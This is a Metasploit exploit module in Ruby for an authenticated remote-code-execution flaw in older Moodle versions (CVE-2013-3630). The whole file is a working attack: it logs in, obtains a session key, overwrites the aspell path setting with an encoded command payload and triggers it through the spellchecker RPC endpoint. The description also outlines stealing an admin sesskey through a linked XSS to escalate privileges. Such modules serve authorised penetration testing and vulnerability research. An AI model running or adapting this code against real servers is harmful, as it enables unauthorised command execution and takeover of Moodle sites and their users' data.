d5ba1afbec
fix URLs not resolving add csv export to references fix URLs not resolving pdf not pd missed a url change remove extra recirectedfrom fields remove extra file fix ovftool url accidental replacement
175 lines
6.1 KiB
Ruby
175 lines
6.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'rexml/document'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HTTP::Moodle
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Moodle Authenticated Spelling Binary RCE',
|
|
'Description' => %q{
|
|
Moodle allows an authenticated user to define spellcheck settings via the web interface.
|
|
The user can update the spellcheck mechanism to point to a system-installed aspell binary.
|
|
By updating the path for the spellchecker to an arbitrary command, an attacker can run
|
|
arbitrary commands in the context of the web application upon spellchecking requests.
|
|
|
|
This module also allows an attacker to leverage another privilege escalation vuln.
|
|
Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
|
|
and use this to escalate privileges to that of an admin, allowing the module to pop a shell
|
|
as a previously unprivileged authenticated user.
|
|
|
|
This module was tested against Moodle version 2.5.2 and 2.2.3.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
|
|
],
|
|
'References' => [
|
|
['CVE', '2013-3630'],
|
|
['CVE', '2013-4341'], # XSS
|
|
['EDB', '28174'], # xss vuln allowing sesskey of admins to be stolen
|
|
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']
|
|
],
|
|
'Payload' => {
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic perl ruby telnet python'
|
|
}
|
|
},
|
|
'Platform' => ['unix', 'linux'],
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' => [['Automatic', {}]],
|
|
'DisclosureDate' => '2013-10-30',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
|
|
OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']),
|
|
OptString.new('SESSKEY', [ false, 'The session key of the user to impersonate', '']),
|
|
OptString.new('TARGETURI', [ true, 'The URI of the Moodle installation', '/moodle/'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?
|
|
|
|
v = moodle_version
|
|
return CheckCode::Detected('Unable to determine moodle version') if v.nil?
|
|
if Rex::Version.new(v) <= Rex::Version.new('2.5.2')
|
|
return CheckCode::Appears("Exploitable Moodle version #{v} detected")
|
|
end
|
|
|
|
CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
|
|
end
|
|
|
|
def exploit
|
|
init = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
|
'keep_cookies' => true
|
|
})
|
|
|
|
fail_with(Failure::Unreachable, 'No response received from the target.') unless init
|
|
|
|
print_status('Authenticating as user: ' << datastore['USERNAME'])
|
|
|
|
# don't use the lib version of the login since this is older and has different parameters
|
|
login = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'login', 'index.php'),
|
|
'vars_post' => {
|
|
'username' => datastore['USERNAME'],
|
|
'password' => datastore['PASSWORD']
|
|
},
|
|
'keep_cookies' => true
|
|
})
|
|
|
|
if !login || (login.code != 303)
|
|
fail_with(Failure::NoAccess, 'Login failed')
|
|
end
|
|
|
|
print_status('Getting session key to update spellchecker if no session key was specified')
|
|
|
|
sesskey = ''
|
|
if datastore['SESSKEY'] == ''
|
|
tinymce = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
|
|
'vars_get' => {
|
|
'section' => 'editorsettingstinymce'
|
|
},
|
|
'keep_cookies' => true
|
|
})
|
|
|
|
sesskey = tinymce.get_hidden_inputs[1]['sesskey']
|
|
unless sesskey
|
|
fail_with(Failure::UnexpectedReply, 'Unable to get proper session key')
|
|
end
|
|
else
|
|
sesskey = datastore['SESSKEY']
|
|
end
|
|
|
|
# This looks unused, and in CVE-2021-21809 we set this as well, going to leave it here for the
|
|
# time being since it may be the default, or it may just need a send_request_cgi added to actually
|
|
# accomplish the goal.
|
|
# post = {
|
|
# 'section' => 'editorsettingstinymce',
|
|
# 'sesskey' => sesskey,
|
|
# 'return' => '',
|
|
# 's_editor_tinymce_spellengine' => 'PSpellShell',
|
|
# 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'
|
|
# }
|
|
|
|
print_status('Updating spellchecker to use the system aspell')
|
|
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
|
|
'vars_post' => {
|
|
'section' => 'systempaths',
|
|
'sesskey' => sesskey,
|
|
'return' => '',
|
|
's__gdversion' => '2',
|
|
's__pathtodu' => '/usr/bin/du',
|
|
's__aspellpath' => payload.encoded,
|
|
's__pathtodot' => ''
|
|
},
|
|
'keep_cookies' => true
|
|
})
|
|
|
|
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
|
|
|
|
print_status('Triggering payload')
|
|
|
|
resp = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'tiny_mce', '3.4.9', 'plugins', 'spellchecker', 'rpc.php'),
|
|
'data' => spellcheck,
|
|
'ctype' => 'application/json',
|
|
'keep_cookies' => true
|
|
})
|
|
|
|
if !resp || (resp.code != 200)
|
|
fail_with(Failure::PayloadFailed, 'Error triggering payload')
|
|
end
|
|
end
|
|
end
|